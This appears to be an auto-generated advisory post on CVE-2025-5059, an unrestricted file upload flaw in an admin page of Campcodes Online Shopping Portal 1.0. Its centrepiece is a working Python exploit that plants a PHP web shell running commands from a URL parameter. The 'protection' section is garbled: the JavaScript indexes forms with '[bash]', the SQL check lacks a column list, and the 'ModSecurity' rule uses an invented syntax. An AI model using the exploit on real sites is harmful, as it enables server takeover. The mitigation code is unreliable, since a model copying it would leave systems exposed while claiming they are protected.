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How CVE-2025-5059 Works
The vulnerability in Campcodes Online Shopping Portal 1.0 stems from improper validation of file uploads in the /admin/edit-subcategory.php component. Attackers can exploit this by sending specially crafted HTTP POST requests containing malicious files through the productimage1, productimage2, or productimage3 parameters. The server fails to verify file types, extensions, or content, allowing arbitrary file uploads including PHP shells, malware, or backdoors. This remote code execution vulnerability enables complete system compromise when attackers upload executable files to the web directory. The attack requires no authentication when combined with other flaws, though NVD rates it as requiring high privileges.
DailyCVE Form
Platform: Campcodes Shopping Portal
Version: 1.0
Vulnerability: Unrestricted File Upload
Severity: Critical
Date: 05/27/2025
Prediction: Patch by 06/15/2025
What Undercode Say:
Exploit POC for CVE-2025-5059
import requests
target = "http://target.com/admin/edit-subcategory.php"
shell = {
'productimage1': ('shell.php', '<?php system($_GET["cmd"]); ?>', 'image/jpeg')
}
response = requests.post(target, files=shell)
print(f"Shell uploaded to: {response.url}shell.php")
Detection command curl -sk "http://target.com/admin/edit-subcategory.php" | grep -q "enctype=\"multipart/form-data\"" && echo "Vulnerable"
Protection configuration
location /admin/ {
client_max_body_size 1M;
deny all;
}
// Secure file upload validation
$allowed = ['jpg','png','gif'];
$ext = strtolower(pathinfo($_FILES['productimage1']['name'], PATHINFO_EXTENSION));
if(!in_array($ext, $allowed)) {
die("Invalid file type");
}
-- Database check for compromised entries SELECT FROM products WHERE image_path LIKE '%.php%';
<!-- WAF rule for ModSecurity --> <rule id="1001"> <description>CVE-2025-5059 Protection</description> <conditions> <request uri="/admin/edit-subcategory.php" method="POST"/> <multipart contains="php"/> </conditions> <action>deny</action> </rule>
// Client-side validation
document.forms[bash].addEventListener('submit', function(e) {
const file = document.querySelector('[name="productimage1"]').files[bash];
if (!file.name.match(/.(jpe?g|png)$/i)) {
e.preventDefault();
alert('Invalid file type');
}
});
Sources:
Reported By: nvd.nist.gov
Extra Source Hub:
Undercode
